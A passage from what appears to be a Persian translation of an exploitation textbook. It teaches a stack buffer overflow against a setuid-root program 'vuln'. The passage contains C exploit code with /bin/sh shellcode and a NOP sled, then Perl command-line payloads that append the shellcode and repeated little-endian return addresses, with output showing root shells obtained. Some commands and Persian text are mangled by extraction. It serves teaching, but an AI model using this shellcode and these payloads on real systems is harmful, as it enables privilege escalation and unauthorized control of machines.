ﺑﻪ ﻣﻨﻈﻮر اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و دادن اﯾﻦ ﺑﺎﻓﺮ ﺷﻨﺎور ﺷﺪه ﻣﺨﺼﻮص ﺑﻪ آن اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدد.
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);
return 0;
}
:در زﯾﺮ ﻧﺘﯿﺠﻪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺸﻬﻮد اﺳﺖ
$ gcc -o exploit exploit.c
$ ./exploit
Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#
28
ﻇﺎﻫﺮا ﮐﺪ ﮐﺎر ﮐﺮده اﺳﺖ! آدرس ﺑﺮﮔﺸﺖ در ﻗﺎب ﭘﺸﺘﻪ ﺑﺎ ﻣﻘﺪار 0xbffff978ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه اﺳﺖ ﮐﻪ اﺗﻔﺎﻗﺎ آدرﺳﯽ
در ﺳﻮرﺗﻤﻪ NOPاﺳﺖ .اﮔﺮﭼﻪ ﺑﺮﻧﺎﻣﻪ اﺻﻠﯽ ﻓﻘﻂ ﺑﻪ ﻣﻨﻈﻮر ﮐﭙﯽ ﮐﺮدن ﺗﮑﻪ ای از داده و ﺳـﭙﺲ ﺧـﺮوج ﻃﺮاﺣـﯽ ﺷـﺪه
ﺑﻮد ،اﻣﺎ ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﺻﻮرت suid rootﺑﻮد و ﺷﻞ-ﮐﺪ ﺟﻬﺖ ﺗﻮﻟﯿﺪ ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮی ﻃﺮاﺣﯽ ﺷﺪه ﺑﻮد ،ﻟﺬا ﺑﺮﻧﺎﻣـﻪ
آﺳﯿﺐ ﭘﺬﯾﺮ ﺷﻞ-ﮐﺪ را ﺑﻪ ﻋﻨﻮان ﮐﺎرﺑﺮ رﯾﺸﻪ اﺟﺮا ﻣﯽ ﮐﻨﺪ.
ﻧﻮﺷﺘﻦ ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺴﻠﻤﺎ ﻧﺘﯿﺠﻪ ﻣﻄﻠﻮب را ﺑﺮ آورده ﻣﯽ ﺳﺎزد اﻣﺎ ﯾﮏ ﺣﺎﺋﻞ ﺑﯿﻦ ﻫﮑﺮ و ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ ﻗـﺮار
ﻣﯽ دﻫﺪ .ﮐﺎﻣﭙﺎﯾﻠﺮ در راﺑﻄﻪ ﺑﺎ ﺟﻨﺒﻪ ﻫﺎی ﺧﺎﺻﯽ از اﮐﺴﭙﻠﻮﯾﺖ ﻣﺮاﻗﺐ اﺳﺖ و ﭼﻮن ﻧﺎﭼﺎر ﺑﻪ ﺗﻄﺒﯿﻖ اﮐﺴﭙﻠﻮﯾﺖ ﺑﺎ ﺑﺎ ﺗﻐﯿﯿﺮ
دادن آن ﻫﺴﺘﯿﻢ ،ﻟﺬا اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻄﺢ ﺧﺎﺻﯽ از ﺗﻘﺎﺑﻞ را از ﻓﺮآﯾﻨـﺪ اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ ﺣـﺬف ﻣـﯽ ﮐﻨـﺪ .ﺑـﺮای
درﯾﺎﻓﺖ درﮐﯽ ﻋﻤﯿﻖ از اﯾﻦ ﻣﻮﺿﻮع ﮐﻪ در اﮐﺘﺸﺎف و آزﻣﺎﯾﺶ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ ،ﻣﻮﺿﻮع رﯾﺸﻪ دار و ﻣﻬﻤﯽ اﺳﺖ ،ﻧﯿـﺎز
ﺑﻪ ﻗﺎﺑﻠﯿﺘﯽ اﺳﺖ ﺗﺎ ﭼﯿﺰﻫﺎی ﻣﺨﺘﻠﻒ را ﺑﻪ ﺳﺮﻋﺖ ﺑﺮرﺳﯽ ﮐﻨﺪ .دﺳﺘﻮر printدر ﭘﺮل و ﻗﺎﺑﻠﯿﺖ ﺟﺎﻧﺸﯿﻨﯽ دﺳـﺘﻮر ﺑﻮﺳـﯿﻠﻪ
اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( در ﭘﻮﺳﺘﻪ ﻓﺮﻣﺎن ،bashﺗﻤﺎم آن ﭼﯿﺰی اﺳـﺖ ﮐـﻪ ﻣـﺎ در اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن
ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﻧﯿﺎز دارﯾﻢ.
ﭘﺮل ﯾﮏ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻔﺴﺮی ﯾﺎ ﺗﻔﺴﯿﺮی ) (interpretingاﺳﺖ ﮐﻪ دارای ﯾـﮏ دﺳـﺘﻮر printاﺳـﺖ .ﮐـﺎرﺑﺮد
ﺧﺎﺻﯽ از اﯾﻦ دﺳﺘﻮر در اﯾﺠﺎد ﺗﻮاﻟﯽ ﻫﺎی ﺑﺰرگ از ﮐﺎراﮐﺘﺮﻫﺎ اﺳﺖ .ﺑﺎ اﺳﺘﻔﺎده از ﺳﻮﺋﯿﭻ ) -eﻣﺨﻔﻒ ﻋﺒﺎرت (execute
ﻣﯽ ﺗﻮان از ﭘﺮل ﺑﻪ ﻣﻨﻈﻮر اﺟﺮای دﺳﺘﻮرات در ﺧﻂ ﻓﺮﻣﺎن اﺳﺘﻔﺎده ﮐﺮد.
';$ perl -e 'print "A" x 20
AAAAAAAAAAAAAAAAAAAA
اﯾﻦ دﺳﺘﻮر ﺳﺒﺐ اﺟﺮای دﺳﺘﻮرات ﻣﻮﺟﻮد در ﻋﻼﻣﺖ ﻫﺎی ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( ﻣﯽ ﺷﻮد ﮐﻪ در اﯾـﻦ ﻣـﻮرد دﺳـﺘﻮر واﺣـﺪِ
’; ‘print "A" x 20اﺳﺖ ﮐﻪ ﮐﺎراﮐﺘﺮ Aرا 20ﺑﺎر ﭼﺎپ ﻣﯽ ﮐﻨﺪ.
ﻫﺮ ﮐﺎراﮐﺘﺮ از ﻗﺒﯿﻞ ﮐﺎراﮐﺘﺮﻫـﺎی ﻏﯿﺮﻗﺎﺑـﻞ ﭼـﺎپ را ﻣـﯽ ﺗـﻮان ﺑـﺎ اﺳـﺘﻔﺎده از \x##ﭼـﺎپ ﮐـﺮد ﮐـﻪ در آن ##ﻣﻌـﺎدل
ﻫﮕﺰادﺳﯿﻤﺎل آن ﮐﺎراﮐﺘﺮ اﺳﺖ .در ﻣﺜﺎل زﯾﺮ از اﯾﻦ ﻧﺤﻮه ﺑـﺮای ﭼـﺎپ ﮐـﺎراﮐﺘﺮ ) Aﮐـﻪ ﻣﻘـﺪار ﻫﮕﺰادﺳـﯿﻤﺎل 0x41را
دارد( اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ.
';$ perl -e 'print "\x41" x 20
AAAAAAAAAAAAAAAAAAAA
ﺑﻌﻼوه ﻋﻤﻞ اﻟﺤﺎق رﺷﺘﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﮐﺎراﮐﺘﺮ ﻧﻘﻄﻪ ) (periodدر ﭘﺮل اﻧﺠﺎم داد .اﯾﻦ ﻣﻮرد ﺑﻪ ﻫﻨﮕـﺎم ﺑـﻪ ﺻـﻒ ﮐـﺮدن
ﭼﻨﺪ آدرس ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﻣﻔﯿﺪ اﺳﺖ.
';"$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
ﻋﻤﻞ ﺟﺎﻧﺸﯿﻨﯽ دﺳﺘﻮر ﺑﺎ ﮐﺎراﮐﺘﺮ ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( اﻧﺠﺎم ﻣﯽ ﺷﻮد و ﻫﺮ ﭼﯿﺰ ﻣﻮﺟﻮد ﺑﯿﻦ دو ﮐﺎراﮐﺘﺮ ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ﻋﯿﻨـﺎ
اﺟﺮا ﺷﺪه و ﺧﺮوﺟﯽ ﺑﻪ ﺟﺎی آن ﻗﺮار ﻣﯽ ﮔﯿﺮد .در زﯾﺮ دو ﻣﺜﺎل از اﯾﻦ ﻣﻮرد را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
'';"$ 'perl -e 'print "uname
Linux
$ una'perl -e 'print "m";''e
Linux
$
در ﻫﺮ ﻣﻮرد ﺧﺮوﺟﯽ دﺳﺘﻮر ﻣﻮﺟﻮد ﺑﯿﻦ ﻋﻼﻣﺎت ﻧﻘﻞ ﻗـﻮل ،ﺑـﺎ ﺧـﻮد دﺳـﺘﻮر ﺟـﺎﯾﮕﺰﯾﻦ ﺷـﺪه و دﺳـﺘﻮر unameاﺟـﺮا
ﮔﺮدﯾﺪه اﺳﺖ .ﺗﻤﺎم ﮐﺎری ﮐﻪ اﮐﺴﭙﻠﻮﯾﺖ در ﻋﻤﻞ اﻧﺠﺎم ﻣﯽ دﻫﺪ درﯾﺎﻓﺖ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ،ﺷﻨﺎور ﮐﺮدن ﯾﮏ ﺑﺎﻓﺮ و ﺳـﭙﺲ
دادن آن ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ .ﺑﺎ ﭘﺮل و ﻣﺨﺼﻮﺻﺎ ﻗﺎﺑﻠﯿﺖ ﺟﺎﻧﺸﯿﻨﯽ دﺳﺘﻮر و ﯾﮏ آدرس ﺑﺮﮔﺸﺖ ﺗﻘﺮﯾﺒـﯽ ،ﮐـﺎر
اﮐﺴﭙﻠﻮﯾﺖ را ﻣﯽ ﺗﻮان ﺑﻪ ﺻﻮرت دﺳﺘﯽ ﺑﺎ ﺧﻂ ﻓﺮﻣﺎن اﻧﺠﺎم داد .اﯾﻦ ﮐﺎر ﺑـﺎ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ و اﺳـﺘﻔﺎده از
ﻋﻼﻣﺎت ﻧﻘﻞ ﻗﻮل ﺟﻬﺖ ﺟﺎﯾﮕﺰﯾﻨﯽ ﯾﮏ ﺑﺎﻓﺮ ﺷﻨﺎور ﺑﺠﺎی اوﻟﯿﻦ آرﮔﻮﻣﺎن اﻧﺠﺎم ﻣﯽ ﺷﻮد.
29
اﺑﺘﺪا ﺑﺎﯾﺪ ﺳﻮرﺗﻤﻪ NOPرا اﯾﺠﺎد ﮐﺮد ﮐﻪ در ﮐﺪ exploit.cﻣﻘﺪار 200ﺑﺎﯾﺖ ﺑﺮای آن اﺳﺘﻔﺎده ﺷﺪه ﺑـﻮد .اﯾـﻦ ﻣﻘـﺪار
ﮐﺎﻓﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ،ﭼﺮا ﮐﻪ ﻣﺤﺪوده ﺣﺪس ﻣﯽ ﺗﻮاﻧﺪ ﺗﺎ 200ﺑﺎﯾﺖ ﻣﺘﻔﺎوت ﺑﺎﺷﺪ .اﯾـﻦ ﻣﺤـﺪوده ﮐـﻪ ﻓـﻀﺎی ﺣـﺪس
ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد در ﭼﻨﯿﻦ ﺷﺮاﯾﻄﯽ از اﻫﻤﯿﺖ ﺑﯿﺸﺘﺮی ﺑﺮﺧﻮردار اﺳﺖ ،ﭼﻮن آدرس دﻗﯿﻖ اﺷﺎرﮔﺮ ﭘـﺸﺘﻪ ﺷـﻨﺎﺧﺘﻪ ﺷـﺪه
ﻧﯿﺴﺖ .ﺑﺎ ﺑﻪ ﯾﺎد داﺷﺘﻦ ﻣﻌﺎدل دﺳﺘﻮر NOPدر ﻫﮕﺰادﺳﯿﻤﺎل ﯾﻌﻨﯽ 0x90ﻣﯽ ﺗﻮان ﺳﻮرﺗﻤﻪ را ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺟﻔـﺖ
ﻋﻼﻣﺖ ﻧﻘﻞ ﻗﻮل و ﭘﺮل اﯾﺠﺎد ﮐﺮد ،ﮐﻪ در ﻣﺸﻬﻮد اﺳﺖ:
'';$ ./vuln 'perl -e 'print "\x90"x200
ﺳﭙﺲ ﺷﻞ-ﮐﺪ ﺑﺎﯾﺪ ﺑﻪ ﺳﻮرﺗﻤﻪ NOPاﺿﺎﻓﻪ ﺷﻮد .داﺷﺘﻦ ﺷﻞ-ﮐﺪ در ﺟﺎﯾﯽ درون ﻓﺎﯾﻞ ﮐﺎﻣﻼ ﻣﻔﯿﺪ اﺳﺖ ،ﻟﺬا ﻗﺪم ﺑﻌﺪی
ﻗﺮار دادن ﺷـﻞ-ﮐـﺪ درون ﯾـﮏ ﻓﺎﯾـﻞ ﺧﻮاﻫـﺪ ﺑـﻮد .ﭼـﻮن ﺗﻤـﺎم ﺑﺎﯾـﺖ ﻫـﺎ در اﺑﺘـﺪای اﮐـﺴﭙﻠﻮﯾﺖ از ﻗﺒـﻞ ﺑـﻪ ﺻـﻮرت
ﻫﮕﺰادﺳﯿﻤﺎل ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ ،ﻟﺬا ﻓﻘﻂ ﮐﺎﻓﯽ اﺳﺖ اﯾﻦ ﺑﺎﯾﺖ ﻫﺎ را در ﯾﮏ ﻓﺎﯾﻞ ﺑﻨﻮﯾﺴﯿﻢ .اﯾـﻦ ﮐـﺎر را ﻣـﯽ ﺗـﻮان ﺑـﺎ ﯾـﮏ
Hex Editorﯾﺎ دﺳﺘﻮر printدر ﭘﺮل )ﺑﺎ ﻫﺪاﯾﺖ ﺧﺮوﺟﯽ ﺑﻪ ﯾﮏ ﻓﺎﯾﻞ( اﻧﺠﺎم داد .در زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ ﻧـﺸﺎن داده ﺷـﺪه
اﺳﺖ:
$ perl -e 'print
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x
\89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff
xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode
ﭘﺲ از ﭘﺎﯾﺎن اﯾﻦ دﺳﺘﻮر ﻣﯽ ﺗﻮان ﺷﻞ-ﮐﺪ را در ﻓﺎﯾﻞ " "shellcodeﯾﺎﻓﺖ .اﮐﻨـﻮن ﺑـﺎ ﯾـﮏ ﺟﻔـﺖ ﻋﻼﻣـﺖ ﻧﻘـﻞ ﻗـﻮل و
دﺳﺘﻮر catﻣﯽ ﺗﻮان ﺷﻞ-ﮐﺪ را ﺑﻪ ﻫﺮ ﺟﺎﯾﯽ اﺿﺎﻓﻪ ﮐﺮد .ﺑﺎ اﺳﺘﻔﺎده از ﻫﻤﯿﻦ روش ﻣـﯽ ﺗـﻮان ﺷـﻞ-ﮐـﺪ را ﺑـﻪ ﺳـﻮرﺗﻤﻪ
NOPاﺿﺎﻓﻪ ﮐﺮد:
'$ ./vuln 'perl -e 'print "\x90"x200;'"cat shellcode
ﺳﭙﺲ ﺑﺎﯾﺪ آدرس ﺑﺮﮔﺸﺖ )ﺑﺎ ﭼﻨﺪﯾﻦ ﺑﺎر ﺗﮑﺮار( را اﺿﺎﻓﻪ ﮐﺮد ،اﻣﺎ ﻇﺎﻫﺮا اﺷﺘﺒﺎﻫﯽ در ﺑﺎﻓﺮ اﮐـﺴﭙﻠﻮﯾﺖ رخ داده اﺳـﺖ.
ﭼﺮا ﮐﻪ در ﮐﺪ ،exploit.cﺑﺎﻓﺮ اﺑﺘﺪا ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﭘﺮ ﺷﺪ .ﭼﻮن آدرس ﺑﺮﮔﺸﺖ ﺣﺎوی 4ﺑﺎﯾﺖ اﺳﺖ ،ﻟﺬا اﯾﻦ ﮐـﺎر
ﺗﻨﻬﺎ ﺟﻬﺖ ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻗﺮار ﮔﺮﻓﺘﻦ ﺻﺤﯿﺢ آدرس ﺑﺮﮔﺸﺖ در ﯾﮏ ردﯾﻒ اﻧﺠـﺎم ﺷـﺪ )ﭼﻬـﺎر ﺑـﺎﯾﺘﯽ ﻫـﺎ ﮐﺎﻣـﻞ و
درﺳﺖ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ( .اﻣﺎ ﺑﻪ ﻫﻨﮕﺎم ﺷﻨﺎور ﮐﺮدن ﺑﺎﻓﺮﻫﺎ در ﺧﻂ ﻓﺮﻣﺎن ﺑﺎﯾﺪ ﺗﺮﺗﯿﺐ و در ﯾﮏ ردﯾﻒ ﺑﻮدن ﺑﺎﯾﺖ ﻫﺎ
را ﺑﻪ ﺻﻮرت دﺳﺘﯽ ﺑﺮرﺳﯽ و رﻓﻊ ﮐﺮد.
ﻧﮑﺘﻪ دﯾﮕﺮ اﯾﻨﮑﻪ ﻣﺠﻤﻮع ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﺳﻮرﺗﻤﻪ NOPو ﺷﻞ-ﮐﺪ ﺑﺎﯾﺪ ﺑﻪ 4ﺑﺨﺶ ﭘﺬﯾﺮ ﺑﺎﺷـﺪ .اﻧـﺪازه ﺷـﻞ-ﮐـﺪ 64
ﺑﺎﯾﺖ و ﺳﻮرﺗﻤﻪ 200 NOPﺑﺎﯾﺖ و ﺟﻤﻊ آﻧﻬﺎ 246ﺑﺎﯾﺖ اﺳﺖ .واﺿﺢ اﺳـﺖ ﮐـﻪ 246ﺑـﺮ 4ﺑﺨـﺶ ﭘـﺬﯾﺮ ﻧﯿـﺴﺖ و 2
ﺑﺎﯾﺖ ﮐﻢ دارد ،ﻟﺬا ﺑﻪ ردﯾﻒ ﺑﻮدن آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه ،ﺑﺎ ﻓﻘﺪان اﯾﻦ 2ﺑﺎﯾﺖ ﻧـﺎﻗﺺ اﺳـﺖ ،ﻟـﺬا روﻧـﺪ اﺟـﺮا ﺑـﻪ
ﻣﮑﺎن ﻏﯿﺮﻗﺎﺑﻞ اﻧﺘﻈﺎری ﺑﺮﮔﺸﺖ ﺧﻮاﻫﺪ ﯾﺎﻓﺖ.
ﺑﺮای ﺑﻪ ردﯾﻒ در آوردن ﻗﺴﻤﺖ آدرس ﻫﺎی ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه در ﺑـﺎﻓﺮ ﺑﺎﯾـﺪ دو ﺑﺎﯾـﺖ اﺿـﺎﻓﯽ ﺑـﻪ ﺳـﻮرﺗﻤﻪ NOP
اﺿﺎﻓﻪ ﮐﻨﯿﻢ:
30
'$ ./vuln 'perl -e 'print "A"x202;'"cat shellcode
اﮐﻨﻮن ﮐﻪ اوﻟﯿﻦ ﻗﺴﻤﺖ ﺑﺎﻓﺮ ﺑﻪ درﺳﺘﯽ ردﯾﻒ ﺷﺪه اﺳﺖ ،ﺗﻨﻬﺎ ﮐﺎﻓﯿﺴﺖ ﮐﻪ آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه را ﺑﻪ اﻧﺘﻬﺎی آن
اﺿﺎﻓﻪ ﮐﻨﯿﻢ .ﭼﻮن آﺧﺮﯾﻦ ﻣﮑﺎن اﺷﺎرﮔﺮ ﭘﺸﺘﻪ 0xbffff978ﺑﻮد ،ﻟﺬا آدرس ﺑﺮﮔﺸﺖ ﺗﻘﺮﯾﺒﯽ ﻣﻨﺎﺳـﺒﯽ را ﻣـﯽ ﺗـﻮان ﺑـﻪ
دﺳﺖ آورد .اﯾﻦ آدرس ﺑﺮﮔﺸﺖ را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از " "\x78\xf9\xff\bfﭼﺎپ ﮐﺮد .ﺑﻪ ﻋﻠـﺖ ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ در
ﻣﻌﻤﺎری x86ﺑﺮ اﺳﺎس ﻣﺪل ،Little Endianﺑﺎﯾﺖ ﻫﺎ ﻣﻌﮑـﻮس ﻣـﯽ ﺷـﻮﻧﺪ .از اﯾـﻦ ﻧﮑﺘـﻪ ﺑـﻪ ﻫﻨﮕـﺎم اﺳـﺘﻔﺎده از ﮐـﺪ
اﮐﺴﭙﻠﻮﯾﺘﯽ ﮐﻪ ﻣﺮﺗﺐ ﺳﺎزی را ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اﻧﺠﺎم ﻣﯽ دﻫﺪ ﭼﺸﻢ ﭘﻮﺷﯽ ﻣﯽ ﺷﻮد.
ﭼﻮن اﻧﺪازه ﻧﻬﺎﯾﯽ ﺑﺎﻓﺮ 600ﺑﺎﯾﺖ اﺳﺖ و ﺳﻮرﺗﻤﻪ NOPو ﺷﻞ-ﮐﺪ ﺟﻤﻌﺎ 248ﺑﺎﯾﺖ آﻧﺮا اﺷﻐﺎل ﻣـﯽ ﮐﻨﻨـﺪ ،ﺑـﺎ اﻧـﺪﮐﯽ
ﺣﺴﺎب رﯾﺎﺿﯽ ﺗﻌﺪاد ﺗﮑﺮار آدرس ﺑﺮﮔﺸﺖ ﺑﺮاﺑﺮ ﺑﺎ 88ﺑﻪ دﺳﺖ ﻣﯽ آﯾﺪ .34اﯾﻦ ﮐﺎر را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ زوج ﻧﻘـﻞ ﻗـﻮل
اﺿﺎﻓﯽ اﻧﺠﺎم داد:
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
'';"\x78\xf9\xff\xbf"x88
sh-2.05a# whoami
root
sh-2.05a#
اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ در ﺳﻄﺢِ ﺧﻂ ﻓﺮﻣﺎن ﮐﻨﺘـﺮل و اﻧﻌﻄـﺎف ﺑﯿـﺸﺘﺮی را در ﺗﮑﻨﯿـﮏ ﻫـﺎﯾﯽ اراﺋـﻪ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺑـﺎ
آزﻣﺎﯾﺶ ﯾﺎ آزﻣﻮن و ﺧﻄﺎ ﺑﻪ ﭘﯿﺶ ﻣﯿﺮوﻧﺪ .ﺑﺮای ﻣﺜﺎل اﯾﻨﮑﻪ ﺗﻤﺎم 600ﺑﺎﯾﺖ ﻋﻤﻼ ﺑـﺮای اﮐـﺴﭙﻠﻮﯾﺖ ﺑﺮﻧﺎﻣـﻪ ﻧﯿـﺎز ﺑﺎﺷـﻨﺪ
ﻗﺪری ﻣﺸﮑﻮک اﺳﺖ .اﯾﻦ ﺳﺮﺣﺪ ﺑﺎﻓﺮ را ﻣﯽ ﺗﻮان ﺑﻪ ﺳﺮﻋﺖ ﺑﺎ اﺳﺘﻔﺎده از ﺧﻂ ﻓﺮﻣﺎن ﺑﺮرﺳﯽ ﮐﺮد.
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
'';"\x68\xf9\xff\xbf"x68
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
'';"\x68\xf9\xff\xbf"x69
Segmentation fault
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
'';"\x68\xf9\xff\xbf"x70
sh-2.05a#
ﺑﺮﻧﺎﻣﻪ در اوﻟﯿﻦ اﺟﺮا در ﻣﺜﺎل ﻗﺒﻞ ﮐﺮش ﻧﻤﯽ ﮐﻨﺪ و ﺑﺪون ﻣﺸﮑﻞ ﺧﺎرج ﻣﯽ ﺷﻮد ،درﺣﺎﻟﯿﮑﻪ دوﻣﯿﻦ اﺟﺮا ﺑﻪ اﻧﺪازه ﮐـﺎﻓﯽ
آدرس ﺑﺮﮔﺸﺖ را ﺟﺎﯾﻨﻮﯾﺴﯽ ﻧﻤﯽ ﮐﻨﺪ ،ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﻣﯽ ﮐﻨـﺪ .اﻣـﺎ در آﺧـﺮﯾﻦ اﺟـﺮا آدرس ﺑﺮﮔـﺸﺖ ﺑـﻪ درﺳـﺘﯽ
ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﺷﻮد ،ﻟﺬا روﻧﺪ اﺟﺮاﯾﯽ را ﺑﻪ ﺳﻮرﺗﻤﻪ NOPو ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺷﻞ-ﮐﺪ )ﮐﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را اﺟـﺮا ﻣـﯽ ﮐﻨـﺪ(
ﺑﺮﮔﺸﺖ ﻣﯽ دﻫﺪ .اﯾﻦ ﺳﻄﺢ از ﮐﻨﺘﺮل روی ﺑﺎﻓﺮِ اﮐﺴﭙﻠﻮﯾﺖ و ﺑﺎزﺧﻮرد ﺳﺮﯾﻊ از ﻧﺘﺎﯾﺞ آزﻣﺎﯾﺶ ،ارزش زﯾـﺎدی در ﻓﻬـﻢ
ﻋﻤﯿﻖ ﺗﺮ ﯾﮏ ﺳﯿﺴﺘﻢ و ﯾﮏ ﺗﮑﻨﯿﮏ اﮐﺴﭙﻠﻮﯾﺖ ﺧﻮاﻫﺪ داﺷﺖ.
.2,7,2اﺳﺘﻔﺎده از ﻣﺤﯿﻂ
ﮔﺎﻫﯽ اوﻗﺎت ﺑﺎﻓﺮ ﺑﺮای ﻗﺮار ﮔﺮﻓﺘﻦ ﺷﻞ-ﮐﺪ ﺑﺴﯿﺎر ﮐﻮﭼﮏ اﺳﺖ .در اﯾﻦ ﻣﻮارد ﻣـﯽ ﺗـﻮان ﺷـﻞ-ﮐـﺪ را در ﯾـﮏ ﻣﺘﻐﯿـﺮ
ﻣﺤﯿﻄﯽ ) (enrivonment variableذﺧﯿﺮه و ﭘﻨﻬﺎن ﮐﺮد .ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮ از ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ ﺑﺮای ﻣﻘﺎﺻـﺪ ﮔﻮﻧـﺎﮔﻮﻧﯽ
اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﻧﮑﺘﻪ ﮐﻠﯿﺪی اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﻣﺘﻐﯿﺮﻫﺎ در ﻧﺎﺣﯿﻪ ای از ﺣﺎﻓﻈﻪ ذﺧﯿﺮه ﻣـﯽ ﺷـﻮﻧﺪ و ﻣـﯽ ﺗـﻮان روﻧـﺪ
اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﺑﻪ آﻧﺠﺎ ﺗﻐﯿﯿﺮ داد .ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ ﯾﮏ ﺑﺎﻓﺮ آﻧﻘﺪر ﮐﻮﭼﮏ ﺑﺎﺷﺪ ﮐـﻪ ﻧﺘﻮاﻧـﺪ ﺳـﻮرﺗﻤﻪ ،NOPﺷـﻞ-ﮐـﺪ و
آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه را در ﺧﻮد ﺟﺎی دﻫﺪ ،ﻣﯽ ﺗﻮان ﺷﻞ-ﮐﺪ و ﺳﻮرﺗﻤﻪ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿـﺮه ﮐـﺮد و
آدرس ﺑﺮﮔﺸﺖ را ﺑﻪ آدرس آﻧﻬﺎ در ﺣﺎﻓﻈﻪ اﺷﺎره داد .در زﯾﺮ ﻗﻄﻌﻪ ﮐﺪ آﺳﯿﺐ ﭘﺬﯾﺮی را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ ﮐـﻪ ﺣـﺎوی
ﺑﺎﻓﺮی اﺳﺖ ﮐﻪ ﺑﺮای ﻗﺮارﮔﯿﺮی ﺷﻞ-ﮐﺪ ﺑﺴﯿﺎر ﮐﻮﭼﮏ اﺳﺖ:
vuln2.c code
34
;)ﻓﻀﺎی آدرس ﺑﺮﮔﺸﺖ( ) = 352ﺷﻞ-ﮐﺪ +ﺳﻮرﺗﻤﻪ ) - 248 (NOPﺑﺎﻓﺮ( 600
